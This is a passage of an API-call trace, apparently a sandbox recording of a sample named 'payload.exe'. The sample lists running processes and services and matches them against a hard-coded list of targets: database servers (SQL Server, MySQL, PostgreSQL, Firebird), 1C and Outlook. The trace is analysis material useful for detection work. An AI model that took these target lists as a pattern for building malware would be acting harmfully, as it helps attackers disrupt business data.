returned -1 [0103.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0103.849] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0103.849] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0103.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0103.849] lstrlenW (lpString="Spooler") returned 7 [0103.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0103.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0103.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0103.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0103.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0103.849] lstrlenW (lpString="SysMain") returned 7 [0103.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0103.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0103.849] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0103.849] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0103.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0103.849] lstrlenW (lpString="Themes") returned 6 [0103.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0103.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0103.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0103.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0103.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0103.850] lstrlenW (lpString="TrkWks") returned 6 [0103.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0103.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0103.850] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0103.850] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0103.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0103.850] lstrlenW (lpString="UxSms") returned 5 [0103.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0103.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0103.850] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0103.850] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0103.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0103.850] lstrlenW (lpString="WdiServiceHost") returned 14 [0103.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0103.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0103.850] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0103.850] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0103.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0103.850] lstrlenW (lpString="WdiSystemHost") returned 13 [0103.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0103.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0103.850] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0103.850] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0103.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0103.850] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0103.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0103.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0103.850] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0103.850] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0103.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0103.850] lstrlenW (lpString="Winmgmt") returned 7 [0103.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0103.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0103.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0103.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0103.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0103.850] lstrlenW (lpString="WPDBusEnum") returned 10 [0103.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0103.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0103.850] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0103.850] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0103.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0103.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0103.850] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b4 [0103.852] Process32FirstW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0103.852] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0103.852] lstrlenW (lpString="System") returned 6 [0103.852] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0103.852] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0103.852] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0103.852] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0103.852] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0103.852] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0103.852] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0103.852] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0103.853] lstrlenW (lpString="smss.exe") returned 8 [0103.853] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0103.853] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0103.853] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0103.853] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0103.853] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0103.853] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0103.853] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0103.853] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0103.853] lstrlenW (lpString="csrss.exe") returned 9 [0103.853] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0103.853] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0103.853] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0103.853] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0103.853] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0103.853] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0103.853] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0103.853] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0103.853] lstrlenW (lpString="wininit.exe") returned 11 [0103.853] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0103.853] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0103.853] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0103.853] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0103.853] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0103.853] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0103.854] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0103.854] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0103.854] lstrlenW (lpString="csrss.exe") returned 9 [0103.854] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0103.854] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0103.854] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0103.854] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0103.854] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0103.854] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0103.854] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0103.854] lstrlenW (lpString="winlogon.exe") returned 12 [0103.854] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0103.855] lstrlenW (lpString="services.exe") returned 12 [0103.855] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0103.855] lstrlenW (lpString="lsass.exe") returned 9 [0103.855] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0103.855] lstrlenW (lpString="lsm.exe") returned 7 [0103.855] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.856] lstrlenW (lpString="svchost.exe") returned 11 [0103.856] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.856] lstrlenW (lpString="svchost.exe") returned 11 [0103.856] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.856] lstrlenW (lpString="svchost.exe") returned 11 [0103.856] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.856] lstrlenW (lpString="svchost.exe") returned 11 [0103.856] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.857] lstrlenW (lpString="svchost.exe") returned 11 [0103.857] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0103.857] lstrlenW (lpString="audiodg.exe") returned 11 [0103.857] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.857] lstrlenW (lpString="svchost.exe") returned 11 [0103.857] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.858] lstrlenW (lpString="svchost.exe") returned 11 [0103.858] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0103.858] lstrlenW (lpString="userinit.exe") returned 12 [0103.858] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0103.858] lstrlenW (lpString="dwm.exe") returned 7 [0103.858] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0103.859] lstrlenW (lpString="explorer.exe") returned 12 [0103.859] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0103.859] lstrlenW (lpString="spoolsv.exe") returned 11 [0103.859] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0103.859] lstrlenW (lpString="taskhost.exe") returned 12 [0103.859] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.859] lstrlenW (lpString="svchost.exe") returned 11 [0103.860] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0103.860] lstrlenW (lpString="payload.exe") returned 11 [0103.860] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0103.860] lstrlenW (lpString="reader_sl.exe") returned 13 [0103.860] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0103.860] lstrlenW (lpString="taskhost.exe") returned 12 [0103.861] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0103.861] lstrlenW (lpString="dllhost.exe") returned 11 [0103.861] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0103.861] lstrlenW (lpString="consent.exe") returned 11 [0103.861] Process32NextW (in: hSnapshot=0x3b4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0103.861] CloseHandle (hObject=0x3b4) returned 1 [0103.861] Sleep (dwMilliseconds=0x1f4) [0104.831] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab7238 [0105.000] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0105.000] GetLastError () returned 0xea [0105.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0105.000] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0105.001] CloseServiceHandle (hSCObject=0x3ab7238) returned 1 [0105.001] lstrlenW (lpString="Appinfo") returned 7 [0105.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0105.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0105.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0105.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0105.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0105.001] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0105.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0105.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0105.001] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0105.001] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0105.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0105.001] lstrlenW (lpString="AudioSrv") returned 8 [0105.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0105.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0105.001] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0105.001] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0105.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0105.001] lstrlenW (lpString="BFE") returned 3 [0105.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0105.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0105.001] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0105.001] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0105.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0105.001] lstrlenW (lpString="CryptSvc") returned 8 [0105.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0105.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0105.001] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0105.001] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0105.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0105.001] lstrlenW (lpString="CscService") returned 10 [0105.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0105.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0105.001] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0105.001] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0105.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0105.001] lstrlenW (lpString="DcomLaunch") returned 10 [0105.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0105.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0105.001] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0105.001] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0105.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0105.001] lstrlenW (lpString="Dhcp") returned 4 [0105.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0105.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0105.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0105.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0105.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0105.002] lstrlenW (lpString="Dnscache") returned 8 [0105.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0105.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0105.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0105.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0105.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0105.002] lstrlenW (lpString="DPS") returned 3 [0105.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0105.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0105.002] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0105.002] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0105.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0105.002] lstrlenW (lpString="eventlog") returned 8 [0105.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0105.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0105.002] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0105.002] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0105.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0105.002] lstrlenW (lpString="EventSystem") returned 11 [0105.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0105.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0105.002] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0105.002] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0105.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0105.002] lstrlenW (lpString="gpsvc") returned 5 [0105.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0105.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0105.002] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0105.002] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0105.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0105.002] lstrlenW (lpString="iphlpsvc") returned 8 [0105.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0105.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 